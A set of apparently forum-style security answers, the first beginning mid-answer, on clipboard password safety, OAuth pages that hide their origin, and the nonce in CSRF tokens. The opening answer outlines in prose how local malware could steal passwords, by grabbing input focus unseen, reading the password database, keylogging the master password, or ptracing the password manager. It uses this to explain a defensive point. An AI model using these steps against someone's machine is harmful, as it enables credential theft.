Alternatively, grab the focus without giving any visual cue (and retransmit the input to the application that looks focused, to avoid immediate detection).
To read all your files: open, read.
To extract your passwords from your password manager: read the password database file and listen in while you're typing your master password. Alternatively, inject a wrapper around the password manager process and ptrace it.

Yes, in theory you could notice it. But in practice, you won't.

Putting password in the clipboard does have weaknesses, but local applications are not the problem. Local applications can get your passwords anyway. The main weaknesses of passwords in the clipboard are:

Browser bugs that allow web applications (i.e. any open browser tab) to access the clipboard.
Clipboard managers that retain a copy of the password in a place you wouldn't think of.
Accidental pasting into the wrong field.

The safest way to manage passwords is to avoid manipulating them. This eliminates the risk of user error. So save your passwords in your web browser and have it use the password automatically.

For non-web uses, injecting keyboard input with xdotool is as good as it gets. Local applications can get the passwords anyway, so you aren't losing anything.


Are most app OAuth implementations vulnerable because of an obscured URL/origin?

This does not violate the security section of the OAuth 2.0 RFC.  However, the OAuth 2.0 threat model RFC mentions phishing.  The issue of obscuring the origin of the authentication page is not listed...  anywhere.  As in, I have never herd of this problem and I don't believe it is documented.

One could make the argument that all authentication pages must always show their origin and show that they are protected with HTTPS.  (Is your screen shot of an HTTPS page?  There is no way to tell.)  This is a medium/low risk vulnerability,  and I think twitter should fix it.  I recommend emailing security@twitter.com,  twitter takes security very seriously and they have a great security team.


CSRF Encrypted Token Pattern -- need for 'nonce'?

Not really. The nonce is there for anti-collision purposes, not cryptographic security. You could even store it as a counter in a database if you wanted; it's just that the timestamp has insufficient resolution to guarantee no collisions.

I should also point out that the patterns listed on the linked OWASP page are suggestions, and are not guarantees of security. For example, their suggested encrypted token pattern does not mention that you must use AEAD or Encrypt-then-MAC or you might as well be wasting your time. (And if you do go with Encrypt-then-MAC, you need separate encryption and MAC keys.)